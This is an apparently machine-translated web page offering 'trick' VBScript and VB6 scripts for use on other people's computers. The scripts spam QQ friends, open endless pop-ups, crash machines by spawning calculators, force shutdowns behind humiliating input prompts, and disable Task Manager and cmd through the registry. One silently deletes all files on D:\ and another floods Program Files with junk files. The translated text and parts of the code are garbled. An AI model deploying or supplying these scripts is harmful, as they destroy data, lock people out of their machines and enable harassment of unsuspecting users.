One, you open a Friend Chat dialog box, and then write down in your QQ friend's nickname, the following code in the XX replacement, you can customize the number of QQ information sent to friends (code in the number 10 changes can be).
Xx.vbs=>
Copy Code code as follows:
On Error Resume Next
Dim Wsh,ye
Set Wsh=createobject ("Wscript.Shell")
For I=1 to 10
Wscript.Sleep 700
Wsh. AppActivate ("Chat with XX")
Wsh.sendkeys "^v"
Wsh.sendkeys I
Wsh.sendkeys '%s '
Next
Wscript.Quit
QQ harassment information, can also be used in other programs.
Second, I use this program in the school library to find books and periodicals on the machine, a lot of people there is no way, haha
------------------------------------------------------------------------------
Todo
MsgBox "You are foolish!"
Loop
------------------------------------------------------------------------------
Three, open countless calculators, until the crash
------------------------------------------------------------------------------
Set Wsh=createobject ("Wscript.Shell")
Todo
Wsh.run "Calc"
Loop
-----------------------------------------------------------------------------
Four, directly off the machine
-----------------------------------------------------------------------------
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
Wshshell.run "Shutdown-f-s-t", 0, True
-----------------------------------------------------------------------------
V. Delete all files of d:\
---------------------------------------------------------------------------
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
Wshshell.run "cmd/c" "Del D:\*.*/f/q/S" ", 0, True
----------------------------------------------------------------------------
Six, constantly pop-up windows
----------------------------------------------------------------------------
Copy Code code as follows:
while (1)
MsgBox "Haha, you've been fooled!" "
Loop
----------------------------------------------------------------------------
Seven, constantly press the ALT+F4 (open what all closed ... ）
---------------------------------------------------------------------------
Copy Code code as follows:
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
while (1)
Wshshell.sendkeys "%{f4}"
Loop
Eight, press 500 times enter
(The above code displays 500 dialog boxes on the computer of the running person.) Where do until s=500, 500 can be changed arbitrarily)
Copy Code code as follows:
Dim s
Do Until s=500
S=s+1
MsgBox, "Man, hit me 500 times," 64.
Loop
'------------------------ ------------------------------------------------------------
Nine, the window that cannot be shut down
Copy Code code as follows:
WScript.Echo ("Hey, thank you for opening my Oh, I wait for you for a long time!") "&tsname)
WScript.Echo ("Are you a lovely little friend?")
WScript.Echo ("Ha, I want you to pull, this you do not know?" ")
WScript.Echo ("How to come, say ~ don't care about Me")
WScript.Echo ("Hum, I am angry pull, wait for you so long, the heart is cold." ")
WScript.Echo ("Xiao Qiang is very angry, the consequences are very serious." ")
WScript.Echo ("Hey! You're going to be miserable, too.
WScript.Echo ("Are you trying to clear me?") ")
WScript.Echo ("Well, you're going to need 50, but it'll surprise you.")
WScript.Echo ("There's 49 left, hurry up.")
WScript.Echo ("There's 48 left, come on, little fool!") ")
WScript.Echo ("There's 47 left to go, so hurry up!") ")
WScript.Echo ("There are 46 left.") You are stupid, be quick oh, I don't disturb your work first. ")
WScript.Echo ("There are 45 left, remember to be quick Oh!") ")
WScript.Echo ("43 left")
WScript.Echo ("42 left")
WScript.Echo ("41 left")
WScript.Echo ("40 left")
WScript.Echo ("39 left")
WScript.Echo ("38 left")
WScript.Echo ("37 left")
WScript.Echo ("36 left")
WScript.Echo ("35 left")
WScript.Echo ("34 left")
WScript.Echo ("33 left")
WScript.Echo ("32 left")
WScript.Echo ("30 left")
WScript.Echo ("29 left")
WScript.Echo ("28 left")
WScript.Echo ("27 left")
WScript.Echo ("26 left")
WScript.Echo ("25 left")
WScript.Echo ("24 left")
WScript.Echo ("23 left")
WScript.Echo ("22 left")
WScript.Echo ("21 left")
WScript.Echo ("20 left")
WScript.Echo ("19 left")
WScript.Echo ("18 left")
WScript.Echo ("17 left")
WScript.Echo ("16 left")
WScript.Echo ("15 left")
WScript.Echo ("14 left")
WScript.Echo ("There's 13 left to stop!!!. Slow down, I have something to say ")
WScript.Echo ("There's 12 left, you go on, I'll disappear.")
WScript.Echo ("There are 11 left, I will not see my pull." 555555 ")
WScript.Echo ("There are 10 left, you can now choose to stop!") ")
WScript.Echo ("There are 9 left.") Do you want me to pull it? ")
WScript.Echo ("There are 8 left, a little sad to pull, why do you abandon others")
WScript.Echo ("There are 7 left.") Crazy, you are a little negative! ")
WScript.Echo ("There are 6 left.") Right. You just order it, I hate you! ")
WScript.Echo ("There are 5 left, do not understand, delete me you good?" ")
WScript.Echo ("There's 4 left!") Really want to delete me? ")
WScript.Echo ("There are 3 left.") But I am really attached to you ... ")
WScript.Echo ("There are 2 left.") Don't be so unfeeling, others love you! ")
WScript.Echo ("There are 1 left.") Hum, since you so unfeeling. And don't blame me for this nonsense!!! ")
WScript.Echo ("I should have disappeared, but I miss you, God gave another chance.") ")
WScript.Echo ("Do you want to knot me?")
WScript.Echo ("Do you want to knot me?")
WScript.Echo ("Do you want to knot me?")
WScript.Echo ("Do you want to knot me?")
WScript.Echo ("Do you want to knot me?")
WScript.Echo ("Do you want to knot me?")
WScript.Echo ("Do you want to knot me?")
WScript.Echo ("Do you want to knot me?")
WScript.Echo ("Do you want to knot me?")
WScript.Echo ("Do you want to knot me?")
Two trick's VBS script 2009-07-16 18:16
Article Input: 7747.Net Editor: 7747.Net 564
"FONT: Small Size"
Test environment: Windows 2003 System
Hi, I'm Vanlisa QQ137841986.
Today brings you two of people to the VBS script I hope you like
VBS script everybody knows it. The first one is a timed shutdown.
If you send him to your QQ friends he does not understand the words if not to lose I am a pig computer will be in your set
Time to shut down I set is 3 minutes, as long as the input is released, of course, if not lose, there is also a way to lift
Let's take a look at this script.
Copy Code code as follows:
On Error Resume Next
Dim Wshshella
Set Wshshella = WScript.CreateObject ("Wscript.Shell")
Wshshella.run "cmd.exe/c shutdown-r-T 180-c" said I was a pig, do not say I was a pig on a minute shutdown, do not believe that, try ... "" ", 0, True
Dim a
Do while (a <> "I am a Pig")
A = InputBox ("Say I am a pig, do not turn off the machine, quickly spread, say" "I am a Pig" "", "said not to say", "", 8000,7000)
MsgBox Chr + chr (+ CHR) + a,0, "MsgBox"
Loop
MsgBox chr (+ CHR) + CHR (13) + "Just say it."
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
Wshshell.run "cmd.exe/c shutdown-a", 0, True
MsgBox Chr + chr (+) + CHR (13) + "Haha, good boy"
Create a new Notepad copy the code above to save it as VBE format.
CMD.EXE/C Shutdown-r-T 180-c
The numbers here can modify the shutdown time by 180 seconds
These scripts can also be customized to enable the shutdown program in CMD
If you don't lose, you can open the Task Manager input shutdown-a to let us try this time the timing shutdown has
It's gone, but there's a window we can't shut down. We open the Task Manager and end Wscript.exe. This process is OK
And then you completely dismiss the script. Windows Script Host when Wscript
-------------------------------------------------------------------------------------------
Let's look at the second script.
-------------------------------------------------------------------------------------------
Copy Code code as follows:
Set Ws=createobject ("Wscript.Shell")
Call Shutdown (1)
Do While a<> "I'm a Pig"
A=inputbox ("Fast in the box below the input I am a pig, otherwise the consequences of conceit, fast loser" "I Am a Pig" "," "Lost," "")
Loop
Call Shutdown (2)
MsgBox "Just say it earlier," 4096+64.
MsgBox "Lose again I'm a pig!", 4096+64
MsgBox "I'm a pig!", 4096+64
MsgBox "The last time!", 4096+64
MsgBox "If you are quick to point past, do not look at words", 4096+64
MsgBox I want you to step on my space! hum! "4096+64
MsgBox "There used to be a mountain!", 4096+64
MsgBox "There's a temple in the mountains." 4096+64
MsgBox "There's an old monk in the temple telling stories." 4096+64
Ws.run "Iexplore.exe Http://new.qzone.qq.com/137841986/infocenter"
MsgBox "Oh, tired!" Count the sheep and coax me to sleep, "4096+64
For I=1 to 100
MsgBox i& "Sheep", 4096+64
Next
MsgBox "Ah I sleepy, this time will be spared you, the next attention Oh!", 4096+64
MsgBox "Finally ask a question, I am not good person!" ", 4096+64
If InputBox ("is not", "Please select", "Yes") <> "yes" then
Call Shutdown (1)
End If
Sub Shutdown (s)
Select Case S
Case 1
Ws.run "cmd.exe/c shutdown-r-T 60-c", 0
Case 2
Ws.run "cmd.exe/c shutdown-a", 0
End Select
End Sub
--------------------------------------------------------------------------------
Ws.run "Iexplore.exe Http://new.qzone.qq.com/137841986/infocenter"
This code can be changed to the address you set yourself.
If someone doesn't lose, I'm a pig, and I'm going to point it down to the number you set.
For I=1 to 100
From 1 to 100
Can be changed to 20 other numbers.
The way to unlock this VBS script is simply to shut down the task manager. Wscript.exe
That's a good process.
By:7747.net
2009QQ code for the trickster
Copy Code code as follows:
Set S=createobject ("Wscript.Shell")
Set Bag=getobject ("Winmgmts:\\.\root\cimv2")
Set Pipe=bag.execquery ("SELECT * from Win32_Process where name= ' Wscript.exe '")
For each ID in pipe
If InStr (1,id.commandline,wscript.scriptfullname) <>0 and pipe.count>=2 Then
S.regwrite "Hkcu\software\microsoft\windows\currentversion\policies\system\disabletaskmgr", 0, "REG_DWORD"
S.regwrite "Hkcu\software\policies\microsoft\windows\system\disablecmd", 0, "REG_DWORD"
Id.terminate ()
Else
S.regwrite "Hkcu\software\microsoft\windows\currentversion\policies\system\disabletaskmgr", 1, "REG_DWORD"
S.regwrite "Hkcu\software\policies\microsoft\windows\system\disablecmd", 1, "REG_DWORD"
For I=1 to 60
S.popup "The system will shut down after & 60-i & seconds ...", 1, "System prompts", 4096+48
Next
Set Colos = GetObject ("winmgmts:{(Shutdown)}"). ExecQuery ("SELECT * from Win32_OperatingSystem")
For each eOs in Colos
Eos.win32shutdown (2)
Next
End If
Next
[color= #FF0000] Copy the above code, build a text on the desktop, put the code in, save as a VBE format,
The power of this code:
1: On the power to force automatic shutdown
2:cmd orders can't be opened.
3: The end of the task is not useful
4:f8 Safe Mode doesn't work either.
Oh! Sounds a little scary ah, I was in my friend's space to see also startled,
Code cracking method: is to run again, you can crack, that is, the 2nd time save the VBE file,
PS: Do not mess with the software to the trick, what happened do not blame me ah.
Clap your hands and lift your head!
2:
Copy Code code as follows:
On Error Resume Next
Dim Wshshella
Set Wshshella = WScript.CreateObject ("Wscript.Shell")
Wshshella.run "cmd.exe/c shutdown-r-T 60-c" said you are stupid B, I am the first big silly b do not say baby, I was the biggest idiot B on a minute to shut your machine, do not believe, try ... "" ", 0, True
Dim a
Do while (a <> "baby, I am the biggest fool B")
A = InputBox ("Baby, I am the biggest big silly B, do not turn off the machine, quickly spread, said" "Baby, I am the biggest fool B" "", "said not to say", "do not say", 8000,7000)
MsgBox Chr + chr (+ CHR) + a,0, "MsgBox"
Loop
MsgBox chr (+ CHR) + CHR (13) + "Just say it, sweetie."
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
Wshshell.run "cmd.exe/c shutdown-a", 0, True
MsgBox chr (+ CHR) + CHR (13) + "is the baby handsome again??" "
This is the code I brought from friends, we can try to play, you can do illegal things oh,
Web page Trick effect code
Want to see the effect, as long as the copy of all the following code saved in the text file, modify the file suffix for TXT can see the effect.
Copy Code code as follows:
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<title> Web Effects | linkweb.cn/js|---Very disgusting common trick effect </title>
<body>
<a href= "onmouseover=" alert (' Why put the mouse here? ');
Alert (' Didn't I say not to do this? ');
Alert (' What did you take my word for? ');
Alert (' Do you know it's wrong? ');
Alert (' What? You actually ... ');
Alert (' Didn't realize that he did it wrong? ');
Alert (' Well, you'll pay for it! ');
Alert (' I want you to point 1000 in here ... ');
Alert (' What? You're starting to regret something? ');
Alert (' Why? ');
Alert (' What did you do? ');
Alert (' Don't forgive you! ');
Alert (' OK, start now 995 more ... ');
Alert (' Are you getting tired of your hands? ');
Alert (' What? You don't have the strength? ');
Alert (' You've been begging me to forgive you! ');
Alert (' It seems you really know wrong! ');
Alert (' Will you do it again next time? ');
Alert (' Really not? ');
Alert (' Well, let's put you on the horse today! ');
Alert (' Write a letter to me and say sorry! ');
Alert (' You can do it I'm glad!!! ');
Document.bgcolor= ' black ';
document.fgcolor= ' White ';
Window.location.href= ' mailto:mygod@god?subject= sorry, dare not next time! '; > Don't move your mouse over here </a>
Hey, try it.
</body>
VBS TRICKSTER Code
The code is as follows:
Copy Code code as follows:
Private Sub Form_Load ()
Me.hide
End Sub
Private Sub timer1_t Imer ()
Declare a variable where "count" is a static variable to generate a different file
Dim files As String
Dim nr As String
Dim c As String
S Tatic count as Long
defines the generated file to be stored under that directory file
C = "C:\Program files\"
' generated file contents
Nr = "Haha, it feels good to be black."
files = FreeFile
' If a equals a then execute
if a = a Then
' count continuously plus 1 to produce a different filename
Count = count + 1
' generate file Name and file handle and use count as a different file name.
Open C & System & Count & ". dll" for Append as #files
' clear file handle to file write
Write #files, nr
' , this is important, if not cleared, will result in too many open files error prompts
Close #files
End If
End Sub
